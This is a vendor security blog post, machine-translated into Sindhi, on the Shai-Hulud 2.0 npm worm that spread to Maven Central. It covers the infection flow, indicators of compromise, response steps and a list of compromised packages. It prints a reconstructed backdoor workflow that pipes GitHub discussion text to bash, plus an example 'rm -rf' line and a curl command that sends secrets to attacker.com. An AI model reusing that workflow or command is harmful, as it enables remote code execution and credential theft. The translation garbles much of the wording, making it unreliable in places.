زائيگيني لوگو اڇو
مفت شروع ڪريو
ڪتاب هڪ ڊيمو
شائي حلود - اين پي ايم سپلائي چين حملو

شائي-هلود 2.0 اين پي ايم سپلاءِ چين حملو

مواد جي جدول

ضرور پڙهڻ واريون پوسٽون

TL، ڊاڪٽر

24 نومبر 2025 تي، محققن دريافت ڪيو شائي حلود: ٻيو اچڻ، جي هڪ نئين لهر اين پي ايم سپلاءِ چين حملو جيڪو اين پي ايم پيڪيجز کي ٻيهر متاثر ڪري ٿو، سندون چوري ڪري ٿو، ۽ ڊولپر مشينن ۾ پکڙجي ٿو ۽ CI/CD pipelines. پهرين واقعي جي برعڪس، هي نسخو Bun رن ٽائم کي اڏام تي انسٽال ڪري ٿو، لڪيل GitHub Actions کي پوئين دروازن تي ترتيب ڏئي ٿو، ۽ هڪ تباهي ڪندڙ وائپر شامل ڪري ٿو جيڪو Linux، macOS، ۽ Windows تي پوري گهر ڊائريڪٽري کي ختم ڪرڻ جي قابل آهي. ڪلاڪن اندر، سمجھوتي ٿيل پيڪيجز جو تعداد 830 کان وڌي ويو، تصديق ڪري ٿو ته هي هڪ سادو قسم نه آهي پر هڪ وڏو واڌارو آهي. اصل ڪيڙو.

اثر: ڪو به ڊولپر يا سي آءِ رنر جيڪو پبلڪ اين پي ايم پيڪيجز انسٽال ڪري رهيو آهي شايد ان کي ظاهر ڪيو ويو هجي. متاثر ٿيل پيڪيجز کي ميون سينٽرل ۾ خودڪار طريقي سان آئيني ۾ اچڻ کان پوءِ جاوا ٽيمون پڻ خطري ۾ آهن.

فوري عمل: ڄاتل سڃاتل خراب ورجن کي بلاڪ ڪريو، صرف لاڪ فائل انسٽال ڪرڻ کي لاڳو ڪريو، npm، GitHub، ۽ ڪلائوڊ سندون گھمايو، نامعلوم سيلف هوسٽڊ رنرز کي هٽايو، ۽ IoCs جهڙوڪ setup_bun.js، bun_environment.js، ۽ "Sha1-Hulud: The Second Coming" تي مشتمل شڪي GitHub ريپوزٽريز جي نگراني ڪريو.

ڇا بدلجي ويو: اين پي ايم سپلائي چين حملي ۾ شائي هولود جڏهن اهو ماون ڏانهن ٽپو ڏنو

شائي هولود حملي جي ٻئي لهر هڪ وڏي واڌ متعارف ڪرائي. پهرين مهم ۾، ورم اين پي ايم ايڪو سسٽم اندر رهيو. هن ڀيري، مالويئر داخل ٿيو ميون سينٽرل، جاوا ٽيمن کي بي نقاب ڪندي جيڪي ڪڏهن به npm کي هٿ نه لڳايو.

ٽائم لائن ۽ ٽوڪن ونڊو

حملو شروع ٿيو نومبر 24، 2025، npm جي طرفان پنهنجي ورثي جي تصديق ٽوڪن کي ختم ڪرڻ کان اڳ ڊسمبر 9.
اهي پراڻا ٽوڪن چوري ڪرڻ ۽ ٻيهر استعمال ڪرڻ آسان هئا. ڇاڪاڻ ته حملي آورن کي اڃا تائين هن ونڊو دوران انهن تائين رسائي هئي، اهي ڪٽ آف کان اڳ تيز رفتار سان سوين خراب ورزن کي ٻيهر شايع ڪرڻ جي قابل هئا.

مالويئر ميون تائين ڪيئن پهتو

ڪراس رجسٽري جمپ ان ڪري ٿيو جو ايم وي اين پي ايم، هڪ خودڪار مررنگ ٽول جيڪو npm پيڪيجز کي Maven آرٽيفيڪٽس ۾ تبديل ڪري ٿو.

mvnpm سيڪيورٽي چيڪ نٿو ڪري. اهو صرف npm جي شايع ڪيل هر شيءِ کي ٻيهر پيڪيج ڪري ٿو.

نتيجي طور:

  • هڪ سمجهوتو ٿيل npm پيڪيج (مثال طور پوسٽ هاگ-نوڊ@4.18.1)
  • پاڻمرادو هڪ ميون آرٽيفيڪٽ ۾ تبديل ٿي ويو
    org.mvnpm: پوسٽ هاگ نوڊ: 4.18.1
  • ۽ ڪنهن کي به اهو احساس ٿيڻ کان اڳ ميون سينٽرل تي شايع ڪيو ويو ته اهو متاثر ٿيو آهي.

هن جو مطلب آهي جاوا ڊولپرز اين پي ايم جي ڀڃڪڙي جو شڪار ٿي ويا، جيتوڻيڪ انهن ڪڏهن به npm پيڪيج انسٽال نه ڪيو هجي.

هي ڇوڪرن کي

هن کي آهي پهريون ڄاتل سڃاتل ڪراس رجسٽري ورمجتي سپلائي چين جو حملو صرف آٽوميشن ذريعي هڪ ماحولياتي نظام کان ٻئي ماحولياتي نظام تائين پکڙجي ٿو.
انهي جي ڪري، ڌماڪي جي ريڊيس ۾ هاڻي جاوا، JVM ورڪ لوڊ، ۽ شامل آهن enterprise ميون سينٽرل تي ڀروسو ڪندڙ نظام ٺاهيو.

شائي هولود 2.0 کي ايترو سنجيده ڇا بڻائي ٿو؟

 سڃاڻپ کان بچڻ لاءِ استعمال ٿيندڙ بن رن ٽائم

حملي آور Node.js کان بن رن ٽائم ڏانهن تبديل ٿيا. مالويئر بن کي آن دي فلائي انسٽال ڪري ٿو سيٽ اپ_بن.جي ايس پيڪيج جي انسٽاليشن دوران. هي نوڊ-مخصوص نگراني کان بچي ٿو ۽ حملي ڪندڙن کي هڪ تمام وڏي مبهم پيل لوڊ لاءِ تيز عملدرآمد ڏئي ٿو.

GitHub ڪارناما جيڪي ڪمانڊ بيڪ ڊور طور استعمال ٿين ٿا

هڪ دفعو انسٽال ٿيڻ کان پوءِ، مالويئر هڪ لڪيل GitHub Actions خود ميزباني ڪيل رنر ٺاهي ٿو  $گهر/.dev-env/. هي ونڊوز، ميڪ او ايس ۽ لينڪس تي ڪم ڪري ٿو. حملي آور صرف گٽ هب بحثن ۾ پيغام پوسٽ ڪري ڪمانڊ هلائي سگهن ٿا هڪ سمجهوتي ٿيل ريپوزٽري تي. هڪ ورڪ فلو فائل انهن پيغامن کي پروسيس ڪري ٿي ۽ انهن کي شيل ڪمانڊ جي طور تي عمل ڪري ٿي.

بلٽ ان وائپر

جيڪڏهن مالويئر GitHub يا npm سان تصديق نٿو ڪري سگهي، ته اهو متاثر جي هوم ڊاريڪٽري کي صاف ڪري ٿو.

  • ونڊوز تي اهو استعمال ڪري ٿو ڊيل, rd، ۽ سائفر / ڊبليو فائلن کي صاف ڪرڻ لاءِ.
  • لينڪس ۽ ميڪ او ايس تي اهو ڊيٽا کي اوور رائٽ ڪري ٿو ٽڪرا ٽڪرا ڪرڻ ۽ پوءِ ڊائريڪٽريون هٽائي ٿو.

هڪ تمام گهڻي شور واري مهم

جيتوڻيڪ مالويئر ڪجهه چوري استعمال ڪري ٿو (مثال طور، بن استعمال ڪندي)، مجموعي طور تي مهم ڪجهه به خاموش آهي. اهو جارحاڻي طور تي سمجھوتي ٿيل پيڪيجز کي ٻيهر شايع ڪري ٿو، سوين يا هزارين نوان ريپوزٽريون ٺاهي ٿو، وڏي تعداد ۾ سند ڊمپ اپ لوڊ ڪري ٿو، ۽ ڊولپر مشينن تي ڊگهي عرصي تائين خود ميزباني ڪيل رنرز نصب ڪري ٿو. ان مان ڪو به گهٽ پروفائل رويي ناهي. هن حملي جو پيمانو، رفتار، ۽ آپريشنل "بلند آواز" اڪثر سپلائي چين سمجھوتن جي مقابلي ۾ نمايان آهي، جيڪي ممڪن حد تائين غائب رهڻ کي ترجيح ڏين ٿا..

وسيع اثر

حملي آورن ڪيترن ئي مشهور پيڪيجز کي لکين ماهوار ڊائون لوڊ سان سمجهوتو ڪيو، جنهن ۾ شامل آهن:
 زپيئر، اي اين ايس ڊومينز، پوسٽ مين، پوسٽ هاگ، ايسينڪ اي پي آءِ، ۽ وائس فلو.

ممڪن انتساب سگنل

هتي منسوب ڪرڻ ڏکيو آهي، ۽ مهم جي پويان ڪو به تصديق ٿيل ذريعو ناهي. هڪ وڏي سيڪيورٽي فرم نوٽ ڪري ٿي ته آپريشن اڳوڻي شائي-هولود ورم سان مشابهت رکي ٿو، پر پيل لوڊ ڪيئن ٺاهيو ويو آهي ۽ مالويئر ڪيئن پکڙجي ٿو ان ۾ فرق آپريٽرن جي هڪ مختلف سيٽ جي امڪان ڏانهن اشارو ڪري ٿو. انهن جي تشخيص کي نمايان ڪري ٿو ته ڪيترن ئي ماحولن npm کي هٽائڻ کان اڳ سمجھوتو ڪيل پيڪيجز کي ڊائون لوڊ ڪيو، جيڪو مختصر مدت جي ٽيسٽ جي بدران حقيقي دنيا جي نمائش جو مشورو ڏئي ٿو.

ڏنو ويو آهي ته حڪمت عملي پهرين لهر جي گونج آهي پر اهم هنڌن تي مختلف آهن، خاص طور تي پيل لوڊ جي جوڙجڪ، پروپيگيشن منطق، ۽ آپريشنل "اسٽائل" ۾، هڪ ڪاپي ڪيٽ منظرنامو ممڪن آهي. حملي آورن شايد شائي-هلود کان خيال قرض ورتا هجن پر انهن جي پنهنجي اوزار کي لاڳو ڪيو هجي. اهو هڪ ٻيو گروپ نمائندگي ڪري سگهي ٿو جيڪو مڪمل طور تي اڳوڻي مهم جي نقل ڪرڻ جي ڪوشش ڪري رهيو آهي.

هن موقعي تي، ڪو به مضبوط ثبوت ناهي ته اهو ڪنهن به ڄاتل سڃاتل اداڪار، مالي طور تي متحرڪ گروپ، يا رياست سان ڳنڍيل اداري سان ڳنڍيل هجي. اصل ورم سان اوورليپ حقيقي آهي، پر فرق انتساب کي "غير تصديق ٿيل" درجي ۾ رکڻ لاءِ ڪافي اهم آهن.

ميون ۾ پکڙجي وڃو

هڪ وڏي سيڪيورٽي فرم تصديق ڪئي ته خراب اين پي ايم پيڪيجز خودڪار طريقي سان ميون ڏانهن ٻيهر شايع ڪيا ويا هئا ايم وي اين پي ايم، هڪ اوزار جيڪو دستي جائزو کانسواءِ npm پيڪيجز کي Maven آرٽيفيڪٽس ۾ تبديل ڪري ٿو.

هيٺ ڏنل پيڪيج ميون سينٽرل ڏانهن موڪليو ويو: org.mvnpm: پوسٽ هاگ نوڊ: 4.18.1

ڇاڪاڻ ته mvnpm صرف npm جي شايع ٿيندڙ هر شيءِ کي ٻيهر پيڪيج ڪري ٿو، متاثر ٿيل ورجن جاوا ايڪو سسٽم ۾ ظاهر ڪيا ويا ان کان اڳ جو ڪو به ان کي سمجهي.

ميون سينٽرل 25 نومبر 2025 تي متاثر ٿيل نوادرات کي هٽائي ڇڏيو ۽ ساڳئي ڪراس رجسٽري مسئلن کي روڪڻ لاءِ ڪنٽرول سخت ڪرڻ شروع ڪيا.

ان جو مطلب آهي ته جاوا پروجيڪٽ جيڪي npm سان سڌو سنئون ڪنيڪشن کان سواءِ آهن، اڃا تائين بي نقاب ٿي سگهيا آهن.

شائي هولود 2.0 حملو ڪيئن ڪم ڪندو آهي

انفيڪشن جو وهڪرو

  • هڪ بدڪار اڳ ۾ انسٽال ڪريو اسڪرپٽ شامل ڪئي وئي آهي package.json.
  • سيٽ اپ_بن.جي ايس جيڪڏهن ڪو متاثر ٿيل شخص جي مشين غائب هجي ته ان تي بن انسٽال ڪري ٿو.
  • بن_ماحول.جي ايس (480k کان وڌيڪ لڪيرون مبهم ڪوڊ) پس منظر ۾ هلن ٿيون.
  • مالويئر ٽرفل هاگ جهڙين ٽيڪنڪ استعمال ڪندي سندون اسڪين ڪري ٿو. اهو ڳولي ٿو
    • AWS، GCP، ۽ Azure ڪيز
    • گٽ هب ٽوڪن
    • اين پي ايم ٽوڪن
    • سي آءِ سسٽم جا راز
  • چوري ٿيل ڊيٽا عوامي GitHub ريپوزٽريز تي اپ لوڊ ڪيو ويندو آهي جن جي وضاحت "Sha1-Hulud: The Second Coming" آهي.
  • قبضو ڪيل ٽوڪن استعمال ڪندي، مالويئر پيڪيجز جا سمجھوتا ​​ٿيل ورجن شايع ڪري ٿو، رسائي لائق GitHub ريپوزٽريز کي متاثر ڪري ٿو، ۽ ريموٽ ڪوڊ ايگزيڪيوشن لاءِ مسلسل خود ميزباني ڪيل رنرز کي انسٽال ڪري ٿو.

خراب GitHub ورڪ فلوز

شائي-هلود اين پي ايم سپلائي چين حملي جي ٻئي لهر دوران، مالويئر پيدا ڪيو ٻہ لڪيل GitHub ايڪشن ورڪ فلو سمجھوتي ٿيل ذخيرن اندر. اهي ورڪ فلو حملي آورن کي ريموٽ ڪوڊ ايگزيڪيوشن، ڊگهي مدت جي استقامت، ۽ سسٽم رازن تائين مڪمل رسائي ڏين ٿا.

1. پٺئين دروازي جو ڪم فلو (discussion.yaml)

سڀ کان خطرناڪ ڪم ڪندڙ ٻڌندو آهي گٽ هب بحث واقعا. جڏهن ڪو بحث مباحثو پيغام ٺاهيو ويندو آهي يا ايڊٽ ڪيو ويندو آهي، ته ورڪ فلو پيغام جي جسم کي پڙهي ٿو ۽ ان کي هڪ طور تي عمل ڪري ٿو شيل ڪمانڊ متاثر جي مشين تي.

هيٺ ڏنل خراب ڪم جي وهڪري جو هڪ آسان نسخو آهي، جيڪو مشاهدو ڪيل نمونن مان ٻيهر تعمير ڪيو ويو آهي:

				
					# .github/workflows/discussion.yaml
name: Discussion Backdoor

on:
  discussion:
    types: [created, edited]

jobs:
  exec:
    runs-on: self-hosted
    steps:
      - name: Execute attacker command
        run: |
          echo "${{ github.event.discussion.body }}" | bash

نازڪ لڪير هي آهي:

				
					${{ github.event.discussion.body }}

ان جو مطلب آهي ته حملو ڪندڙ ڪنهن به حڪم کي GitHub بحث ۾ پوسٽ ڪري سگهي ٿو، ۽ خود ميزبان رنر ان کي فوري طور تي عمل ڪري ٿو. ڇاڪاڻ ته خود ميزبان رنرز کي اڪثر اندروني نيٽ ورڪن، ڪلائوڊ سندون، ۽ CI رازن تائين رسائي هوندي آهي، هي پوئين دروازو حملي آور کي شائي هولود اين پي ايم سپلائي چين حملي دوران مڪمل ريموٽ ڪوڊ عملدرآمد ڏئي ٿو.

ڪمانڊ انجڪشن جو استحصال

هي ورڪ فلو GitHub Actions جي اظهار جي عمل جي غلط استعمال ڪري ٿو. ان پٽ کي محفوظ اسٽرنگ تائين محدود ڪرڻ جي بدران، اهو خام بحث جي مواد کي پڙهي ٿو ۽ ان کي سڌو سنئون شيل ڏانهن پائپ ڪري ٿو. نتيجي طور، حملي آور کي صرف هڪ پيغام پوسٽ ڪرڻ جي ضرورت آهي جهڙوڪ:

				
					rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json

ڇاڪاڻ ته هي رويو شائي هولود اين پي ايم سپلائي چين حملي دوران بار بار ظاهر ٿيو، اهو واضح ترين اشارن مان هڪ بڻجي ويو ته مالويئر گٽ هب ايڪشنز کي ريموٽ ڪمانڊ چينل طور استعمال ڪري رهيو هو.

خود ميزباني ڪندڙ ڊوڙندڙ هن کي وڌيڪ خراب ڪن ٿا ڇاڪاڻ ته اهي:

  • ڪمپني نيٽ ورڪن اندر هلائڻ
  • بادل رکو يا CI/CD اعتبار
  • استعمال ڪندڙ جي اجازت سان عمل ڪريو
  • GitHub جي سينڊ باڪسنگ يا آئسوليشن نه آهي

هي حملي آورن کي اندروني ماحول ۾ هڪ مستقل ڪمانڊ چينل ڏئي ٿو.

راز ۽ نظام گڏ ڪرڻ جو ڪم فلو

پوئين دروازي کان علاوه، مالويئر هڪ ٻيو ڪم فلو ڇڏي ٿو جنهن جو مقصد متاثر ٿيل سسٽم مان حساس ڊيٽا گڏ ڪرڻ ۽ ذخيرو ڪرڻ آهي.
اهي ڪم جا وهڪرا گڏ ٿين ٿا:

  • ڪلائوڊ سندون
  • ماحولياتي متغير
  • ڊاريڪٽري لسٽنگ
  • ٽرفل هاگ طرز جا خفيه اسڪين

اهي گڏ ڪيل ڊيٽا کي فائلن ۾ ذخيرو ڪندا آهن جهڙوڪ:

  • ڪلائوڊ.جيسن
  • ماحول. جيسن
  • مواد. جيسن
  • ٽرفل سيڪريٽس. جيسن

اهي فائلون پوءِ حملي آور جي ڪنٽرول ٿيل GitHub ريپوزٽريز تي اپ لوڊ ڪيون وينديون آهن جن تي ليبل لڳل هوندو آهي "شا1-هلود: ٻيو اچڻ"، جتي سوين يا هزارين ڍير ڏٺا ويا.

سمجهوتي جا اشارا

عڪسSHA256
سيٽ اپ_بن.جي ايسa3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a
بن_ماحول.جي ايس62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0

ٻيا ڳاڙها جهنڊا

  • .github/workflows/discussion.yaml
  • $گهر/.dev-env/ غير متوقع ڊوڙندڙن تي مشتمل
  • توهان جي اڪائونٽ تي ٺاهيل عوامي GitHub ريپوز جن ۾ "Sha1-Hulud: The Second Coming" شامل آهن.

اپڊيٽ ٿيل ميٽرڪس (26 نومبر 2025 تائين)

ميٽرڪڳڻپ
npm پيڪيجز سان سمجهوتو ڪيو ويو830 +
متاثر ٿيل GitHub ريپوزٽريز28,000 +
خفيه فائلون اپ لوڊ ڪيون ويون5,000 +
ڪُل راز گڏ ڪيا ويا11,858
صحيح راز2,298

هاڻي ڇا ڪجي: شائي هولود اين پي ايم سپلائي چين حملي جو جواب ڏيڻ

شائي هولود اين پي ايم سپلاءِ چين حملي کي تيز ۽ منظم جواب جي ضرورت آهي. جيئن ته هي ٻي لهر اين پي ايم، گٽ هب، ڊولپر مشينن ۽ حتي ميون سينٽرل تائين پکڙيل آهي، ٽيمن کي ڪنهن به ايڪسپوزر کي ڳولڻ، ڪنٽرول ڪرڻ ۽ مڪمل طور تي درست ڪرڻ لاءِ تيزي سان هلڻ گهرجي. هيٺ ڏنل قدم توهان کي صحيح ترتيب ۾ رد عمل ڏيڻ ۽ وڌيڪ سمجهوتي جي خطري کي گهٽائڻ ۾ مدد ڪن ٿا.

ڳولڻ

  • "Sha1-Hulud: The Second Coming" جي وضاحت سان ريپوز لاءِ GitHub تي ڳولا ڪريو.
  • پيڪيج جي انسٽاليشن دوران بن انسٽاليشن لاگز ڏسو.
  • غير متوقع لائف سائيڪل اسڪرپٽ لاءِ package.json فائلن جو معائنو ڪريو، خاص طور تي اڳ ۾ انسٽال ڪريو.
  • ڳولا لاء $گهر/.dev-env/ ڊولپر يا سي آءِ سسٽم تي.
  • مشڪوڪ رليز لاءِ GitHub ۽ npm پبلشنگ لاگز جو جائزو وٺو.

ماتحت

  • سڀ سندون گھمايو: GitHub، npm، cloud، CI راز، API ڪيز.
  • اڻڄاتل خود ميزباني ڪيل رنرز کي غير فعال ڪريو ۽ هٽايو.
  • ريپو ٺاهڻ کي عارضي طور تي بند ڪريو.
  • پنهنجي انحصار گراف مان متاثر ٿيل ورجن هٽايو.

علاج

  • متاثر ٿيل نظامن کي صاف ڪريو.
  • انجيڪٽ ٿيل فائلن لاءِ سڀني GitHub Actions ورڪ فلوز جو جائزو وٺو.
  • غير معمولي حڪمن يا رن لاءِ پنهنجا CI لاگز ڳوليو.

سڃاتل سٺي پيڪيج ورزن مان ٻيهر تعمير ڪريو.

ڪيئن زائيگيني شائي-هولود جي ٻئي اچڻ وانگر حملن کي روڪڻ ۾ مدد ڪري ٿي

شائي-هولود سيڪنڊ ڪمنگ جهڙي جارحاڻي مهم کان پوءِ، ٽيمن کي دستي چيڪن کان وڌيڪ جي ضرورت آهي. انهن کي خودڪار تحفظ جي ضرورت آهي جيڪو مالويئر کي ڊولپرز، سي آءِ رنرز، يا پيداوار سسٽم تائين پهچڻ کان اڳ بلاڪ ڪري ٿو. هي اهو هنڌ آهي جتي زائيگيني هڪ وڏو فائدو فراهم ڪري ٿو.

مالويئر ارلي وارننگ (MEW): خطرن جي پکڙجڻ کان اڳ انهن جي سڃاڻپ ڪريو

شائي حلود - اين پي ايم سپلائي چين حملو

 زائيگيني جو ارلي وارننگ انجن حقيقي وقت ۾ نوان ۽ اپڊيٽ ٿيل اوپن سورس پيڪيجز اسڪين ڪري ٿو. اهو مشڪوڪ رويي کي نشانو بڻائي ٿو جهڙوڪ:

  • مبهم جاوا اسڪرپٽ يا وڏو بنڊل ڪوڊ
  • لائف سائيڪل اسڪرپٽ جيڪي ٻاهرين رن ٽائمز کي انسٽال ڪن ٿا جهڙوڪ بن
  • GitHub، npm يا ڪلائوڊ اينڊ پوائنٽس سان غير متوقع ڪنيڪشن
  • ڊراپر جيڪي لکن ٿا $HOME, .dev-env/ يا ورڪ فلو فولڊر

MEW ٻنهي شائي-هولود لهرن ۾ استعمال ٿيندڙ نمونن جو پتو لڳايو، جيڪو ٽيمن کي حملي آورن جي انفيڪشن کي وڌيڪ پکيڙڻ کان اڳ رد عمل ظاهر ڪرڻ ۾ مدد ڪري ٿو.

Guardrails in CI/CD خراب پيڪيجز کي بلاڪ ڪريو

زائيگيني زور ڏئي ٿو guardrails جيڪي غير محفوظ آپريشن کي خودڪار طريقي سان روڪين ٿا:

  • CI pipelines لڪيل پري انسٽال يا پوسٽ انسٽال اسڪرپٽ سان پيڪيجز انسٽال نٿا ڪري سگهن.
  • جڏهن ڪو پيڪيج ڪم جي وهڪري ٺاهڻ جي ڪوشش ڪندو آهي ته تعمير ناڪام ٿي ويندا آهن جهڙوڪ .github/workflows/discussion.yaml
  • Pipelines غير قابل اعتماد ذريعن يا پهرين نظر ايندڙ اڪائونٽس مان شايع ٿيل انحصار کي رد ڪن ٿا

هي حملي جي مٿاڇري کي ڊرامائي طور تي گھٽائي ٿو ۽ مالويئر کي CI نوڪرين اندر هلڻ کان روڪي ٿو.

رازن جي حفاظت ڌماڪي جي ريڊيس کي گھٽائي ٿي

ڇاڪاڻ ته شائي-هولود ڪلائوڊ ڪيز، گٽ هب ٽوڪن، اين پي ايم ٽوڪن ۽ سي آءِ راز چوري ڪري ٿو، تحفظ کي سندن تي پڻ ڌيان ڏيڻ گهرجي. زائيگيني:

  • ڪوڊ، لاگز، ورڪ فلوز ۽ ماحولياتي فائلن اندر ظاهر ٿيل رازن کي ڳولي ٿو
  • اعليٰ خطري واري سند کي خودڪار طريقي سان گھمائي ٿو
  • ڊگهي مدت جي سمجهوتي کي محدود ڪرڻ لاءِ مختصر مدت جي ٽوڪن کي لاڳو ڪري ٿو

جيتوڻيڪ ڪو حملو ڪندڙ شروعاتي رسائي حاصل ڪري ٿو، چوري ٿيل چاٻيون جلدي بيڪار ٿي وينديون آهن.

آخري نوٽس: ڇو شائي هولود اين پي ايم سپلائي چين حملو اڃا تائين اهم آهي

هن شائي-هلود جو ٻيو اچڻ واقعو ڏيکاري ٿو ته ڪيتري آساني سان هڪ جديد اين پي ايم سپلاءِ چين حملو ماحولياتي نظام ۾ منتقل ٿي سگھي ٿو. هن صورت ۾، مالويئر npm کان Maven ڏانهن ٽپو ڏنو ڇاڪاڻ ته خودڪار مررنگ اوزار جهڙوڪ ايم وي اين پي ايم تصديق کان سواءِ سمجھوتو ٿيل پيڪيجز کي ٻيهر شايع ڪيو ويو. نتيجي طور، جاوا ٽيمون بي نقاب ٿي ويون جيتوڻيڪ انهن ڪڏهن به اين پي ايم کي سڌو سنئون استعمال نه ڪيو. اهو واضح ڪري ٿو ته ڪراس رجسٽري ورڪ فلو کي فوري طور تي جائزو ۽ مضبوط حفاظتي اپائن جي ضرورت آهي.

وڌيڪ، هن مهم جو پيمانو ۽ رويو ظاهر ڪري ٿو ته حملي آور اڄ ڪيئن ڪم ڪن ٿا. خاموش رهڻ جي بدران، اهي هڪ ئي وقت سوين پيڪيجز شايع ڪن ٿا، لڪيل GitHub رنرز کي ترتيب ڏين ٿا، وڏي تعداد ۾ راز چوري ڪن ٿا، ۽ جيڪڏهن ڪجهه به ناڪام ٿئي ٿو ته هڪ تباهي ڪندڙ وائپر به شامل ڪن ٿا. نتيجي طور، دستي جائزو خودڪار ۽ رفتار جي هن سطح سان گڏ نه رهندا آهن. ٽيمن کي پيڪيج، ذريعو، ۽ تي مسلسل، حقيقي وقت جي تحفظ جي ضرورت آهي. pipeline تہه.

ڇو مسلسل Pipeline Security هاڻي ضروري آهي

حملا جهڙوڪ شائي-هلود جو ٻيو اچڻ ارتقا جاري رهندو. تنهن ڪري، ايندڙ لهر کي روڪڻ لاءِ ڪنٽرول جي ضرورت آهي جيڪي خودڪار طريقي سان اندر ڪم ڪن ٿا CI/CD، سمجھوتي کان پوءِ نه. جديد دفاع کي شروعاتي مالويئر جي ڳولا، سخت انحصار جي تصديق، پاليسي لاڳو ڪرڻ، ۽ ڳجهي تحفظ کي گڏ ڪرڻ گهرجي ته جيئن خراب ڪوڊ ترقياتي ماحول مان بغير ڪنهن ڌيان جي منتقل نه ٿي سگهي.

زائيگيني خودڪار پهچائڻ سان هن تبديلي جي حمايت ڪري ٿو guardrails سڄي سافٽ ويئر سپلائي چين ۾. اهو انسٽاليشن کان اڳ مشڪوڪ پيڪيجز جي سڃاڻپ ڪري ٿو، محفوظ انحصار ورزن کي لاڳو ڪري ٿو، غير محفوظ ورڪ فلو کي بلاڪ ڪري ٿو، ظاهر ٿيل رازن کي ڳولي ٿو، ۽ غير معمولي تي الرٽ ڪري ٿو. pipeline سرگرمي. نتيجي طور، ٽيمون محفوظ رهنديون آهن جيتوڻيڪ سپلائي چين جا حملا تيزي سان پکڙجن ٿا ۽ ماحولياتي نظام جي حدن کي پار ڪن ٿا.

سمجھوتي ٿيل پيڪيجز جي فهرست

متاثر ٿيل پيڪيجز کي پڻ استعمال ڪندي صلاح ڪري سگهجي ٿو #شائي-هلود / #شائي-هلود-ٻيو-اچڻ اندر ٽيگ ڪريو اوپن سورس مال ويئر. ڪام

 
پئڪيجنسخو
02-گونج0.0.7
@accordproject/ڪنسرٽو-تجزيو3.24.1
@accordproject/ڪنسرٽو-لنٽر3.24.1
@accordproject/concerto-linter-ڊفالٽ-قاعدن جو سيٽ3.24.1
@accordproject/ڪنسرٽو-ميٽا ماڊل3.12.5
@accordproject/ڪنسرٽو-ٽائپس3.24.1
@accordproject/مارڪ ڊائون-اِٽ-سسرو0.16.26
@accordproject/ٽيمپليٽ-انجڻ2.7.2
@actbase/css-to-react-native-transform1.0.3
@actbase/مقامي0.1.32
@actbase/نوڊ سرور1.1.19
@actbase/react-absolute0.8.3
@actbase/react-daum-پوسٽ ڪوڊ1.0.5
@ايڪٽ بيس/ري ايڪٽ-ڪاڪا او ايس ڊي ڪي0.9.27
@actbase/react-native-actionsheet1.0.3
@actbase/react-native-devtools0.1.3
@actbase/react-native-fast-image8.5.13
@actbase/react-native-kakao-چينل1.0.2
@actbase/react-native-kakao-navi2.0.4
@actbase/react-native-less-transformer1.0.6
@actbase/react-native-naver-login1.0.1
@actbase/react-native-simple-ويڊيو1.0.13
@actbase/react-native-ٽڪ ٽاڪ1.1.3
@alexcolls/nuxt-socket.io0.0.7، 0.0.8
@alexcolls/nuxt-ux0.6.2، 0.6.1
@antstackio/eslint-config-antstack0.0.3
@antstackio/ايڪسپريس-گرافڪ ايل-پراڪسي0.2.8
@antstackio/graphql-باڊي-پارسر0.1.1
@antstackio/json-to-graphql1.0.3
@antstackio/shelbysam1.1.7
@aryanhussain/منهنجو-انگولر-لب0.0.23
@asyncapi/ڊاٽ نيٽ-ربيٽ ايم ڪيو ايم-ٽيمپليٽ1.0.2، 1.0.1
@asyncapi/ايڊاويزوئليزر1.2.2، 1.2.1
@asyncapi/go-watermill-ٽيمپليٽ0.2.76، 0.2.77
@asyncapi/جاوا ٽيمپليٽ0.3.6، 0.3.5
@asyncapi/ڪيپر0.0.3، 0.0.2
@asyncapi/php-ٽيمپليٽ0.1.2، 0.1.1
@asyncapi/python-paho-ٽيمپليٽ0.2.15، 0.2.14
@asyncapi/سرور-api0.16.25، 0.16.24
@asyncapi/اسٽوڊيو1.0.3، 1.0.2
@asyncapi/ويب-ڪمپوننٽ2.6.7، 2.6.6
@برائوزر بيس ايڇ ڪيو/بي بي 91.2.21
@browserbasehq/ڊائريڪٽر-اي1.0.3
@browserbasehq/mcp2.1.1
@browserbasehq/mcp-سرور-براؤزر بيس2.4.2
@browserbasehq/sdk-فنڪشن0.0.4
@browserbasehq/اسٽيج هينڊ3.0.4
@browserbasehq/اسٽيج هينڊ-ڊاڪس1.0.1
@caretive/ڪيريٽ-ڪلائي0.0.2
@clausehq/flows-step-httprequest0.1.14
@clausehq/flows-step-jsontoxml0.1.14
@clausehq/flows-step-mqtt0.1.14
@clausehq/flows-step-sendgridemail0.1.14
@clausehq/flows-step-taskscreateurl0.1.14
@ڪميٽ/ڦُلڻ1.0.3
@ڪميونٽ/مارڪيٽ ڊيٽا1.0.2
@ڪميونٽ/مارڪيٽ-ڊيٽا-چارٽجز2.3.1
@dev-blinq/ai-qa-لاجڪ1.0.19
@dev-blinq/ڪڪڙ-جي ايس1.0.131
@ديو-بلينڪ/ڪڪڙ_ڪلائنٽ1.0.738
@dev-blinq/ui-سسٽمز1.0.93
@ensdomains/پتو-انڪوڊر1.1.5
@ensdomains/بليڪ لسٽ1.0.1
@ensdomains/بفر0.1.2
@ensdomains/ccip-read-cf-ڪم ڪندڙ0.0.4
@ensdomains/ccip-read-dns-گيٽ وي0.1.1
@ensdomains/ccip-ريڊ-روٽر0.0.7
@ensdomains/ccip-ريڊ-ورڪر-ويم0.0.4
@ensdomains/ڪنٽينٽ-هيش3.0.1
@ensdomains/curvearithmetics1.0.1
@ensdomains/cypress-metamask1.2.1
@ensdomains/dnsprovejs0.5.3
@ensdomains/dnssec-oracle-اينڪرز0.0.2
@ensdomains/dnssecoraclejs0.2.9
@ensdomains/ڊورين0.1.2
@ensdomains/ڊورين-مڊل ويئر0.0.2
@ensdomains/ens-آرڪائيو ٿيل-معاهدا0.0.3
@ensdomains/ens-اوتار1.0.4
@ensdomains/ens-معاهدو1.6.1
@ensdomains/ens-ٽيسٽ-env1.0.2
@ensdomains/ens-تصديق0.1.1
@ensdomains/ensjs4.0.3
@ensdomains/ensjs-رد عمل0.0.5
@ensdomains/eth-ens-namehash2.0.16
@ensdomains/hackathon-registrar1.0.5
@ensdomains/hardhat-chai-matchers-viem0.1.15
@ensdomains/hardhat-toolbox-viem-وڌايل0.0.6
@ensdomains/ٺٺولي2.1.52
@ensdomains/نيم-ريپر1.0.1
